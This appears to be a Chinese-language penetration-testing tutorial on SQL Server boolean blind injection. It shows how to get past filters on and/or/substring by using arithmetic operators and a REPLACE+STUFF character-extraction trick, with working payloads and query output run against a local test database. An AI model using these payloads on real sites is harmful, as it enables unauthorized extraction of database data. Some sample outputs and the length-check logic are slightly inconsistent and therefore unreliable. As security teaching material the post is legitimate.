0x01 前言
这个问题是我在公司做项目的时候遇到的, 目标有注入, 但是有过滤分别过滤了
and, or, left, right, substring
并且该注入点,没有报错,所以只能进行布尔盲注注入尝试慢慢出数据
对于这里注入出数据有两个难点
1, 站点过滤了 or and
2, 站点过滤了常用的字符串截断函数 left, right, substring
第一个难点可以使用表达式 +, -, *, /这四个玩意来闭合代码
第二个难点就比较难解决, 但是还是有办法, 那就是 REPLACE函数 + STUFF函数 形成一个另类的字符串截取函数
0x02 相关函数
0x02.1 REPLACE 函数
定义: REPLACE() 返回用 另一个字符串值替换原字符串 中出现的所有 指定字符串值 之后的字符串。
中文语法: REPLACE(原字符串 , 要查找的字符串 , 要替换的字符串)
英文语法: REPLACE(string_expression , string_pattern , string_replacement)
简单的说就是用英文语法 string_replacement 替换 string_expression 中出现的所有 string_pattern
0x02.1.1 例子
# 把所有字符串 a 替换为 11> select REPLACE('abcdef', 'a', '1');2> go+--------+| |+--------+| 1bcdef |+--------+(1 rows affected)
# 把所有字符串 b 替换为 11> select REPLACE('abcdef', 'b', '1');2> go+--------+| |+--------+| a1cdef |+--------+(1 rows affected)
# 把所有字符串 ab 替换为 11> select REPLACE('abcdef', 'ab', '1');2> go+-------+| |+-------+| 1cdef |+-------+(1 rows affected)
0x02.2 STUFF 函数
他并不是一个字符串截取函数,但是我们可以利用他,作为一个字符串截取函数
STUFF 函数将字符串插入到另一个字符串中。
它从第一个字符串的开始位置删除指定长度的字符;
然后将第二个字符串插入到第一个字符串的开始位置。
STUFF(‘要进行修改的数据’ , (int)’开始位置’ , (int)’删除的字符数’ , ‘插入开头的内容’)
0x02.2.1 STUFF 例子
sql server > select STUFF('abcde',1,0,'');+--------------------------------+| field1 |+--------------------------------+| abcde |+--------------------------------+1 row in set (0.00 sec)
sql server > select STUFF('abcde',1,1,'');+--------------------------------+| field1 |+--------------------------------+| bcde |+--------------------------------+1 row in set (0.00 sec)
sql server > select STUFF('abcde',1,2,'');+--------------------------------+| field1 |+--------------------------------+| cde |+--------------------------------+1 row in set (0.00 sec)
0x03 使用例子
看了前面两个函数的例子,到这里应该大概就可以猜到我要怎么操作了!
没错,我要把他们结合起来替代字符串截取函数
因为截图涉及项目,所以这里我没办法把实战的截图放出来,只能在本地测试给你们看了。
注入url:https://xxx.test.cn/xxx/xxx/list.jsp?id=2
注入参数:id
例如注入:system_user
# 要注入的数据1> select system_user;2> go+----+| |+----+| sa |+----+(1 rows affected)
# 测试的数据1> select * from users;2> go+----+--------------+-----------+| id | username | password |+----+--------------+-----------+| 1 | test-user-01 | 123456 || 2 | test-user-02 | 234567 || 3 | testaa | 4444 |+----+--------------+-----------+(3 rows affected)
假设现在:https://xxx.test.cn/xxx/xxx/list.jsp?id=2
返回的数据是这样的
1> select * from users where id=2;2> go+-----+--------------+-----------+| id | username | password |+-----+--------------+-----------+| 2 | test-user-02 | 234567 |+-----+--------------+-----------+(1 rows affected)
那么现在开始注入
只要穷举到返回 id=2 数据 就说明注入成功了
0x03.1 获取 system_user 数据长度
如果想获取某个数据的长度可以这样获取
一直到获取不报错就说明 system_user 等于那个
0x03.1.1 错的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,10,0,''),system_user,0);2> go+----+----------+-----------+| id | username | password |+----+----------+-----------++----+----------+-----------+(0 rows affected)
返回为空说明 system_user 长度不为 10
1> select * from users where id=2-REPLACE(STUFF(system_user,3,0,''),system_user,0);2> go+----+----------+-----------+| id | username | password |+----+----------+-----------++----+----------+-----------+(0 rows affected)
返回为空说明 system_user 长度不为 3
0x03.1.2 对的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,2,0,''),system_user,0);2> go+--------+------------+-----------+| id | username | password |+--------+------------+-----------+| 2 | test-user-02 | 234567 |+--------+------------+-----------+(1 rows affected)
返回了 id=2 的数据,说明 system_user 长度 = 2
0x03.2 system_user 第二位数据
0x03.2.1 错的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,1,''),'b',0);2> go22018 - [SQL Server]在将 nvarchar 值 'a' 转换成数据类型 int 时失败。
数据库爆错了,说明 system_user 第二位 不等于 b
0x03.2.2 对的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,1,''),'a',0);2> go+-----+--------------+-----------+| id | username | password |+-----+--------------+-----------+| 2 | test-user-02 | 234567 |+-----+--------------+-----------+(1 rows affected)
正常显示出了 id=2 的数据,说明 system_user 第二位 等于 a
0x03.3 system_user 第一位数据
0x03.3.1 错的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,0,''),'fa',0);2> go22018 - [SQL Server]在将 nvarchar 值 'o' 转换成数据类型 int 时失败。
数据库爆错了,说明 system_user 第一位 不等于 f
0x03.3.2 对的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,0,''),'sa',0)2> go+-----+--------------+-----------+| id | username | password |+-----+--------------+-----------+| 2 | test-user-02 | 234567 |+-----+--------------+-----------+(1 rows affected)
正常显示出了 id=2 的数据,说明 system_user 第一位 等于 s
所以 system_user = sa
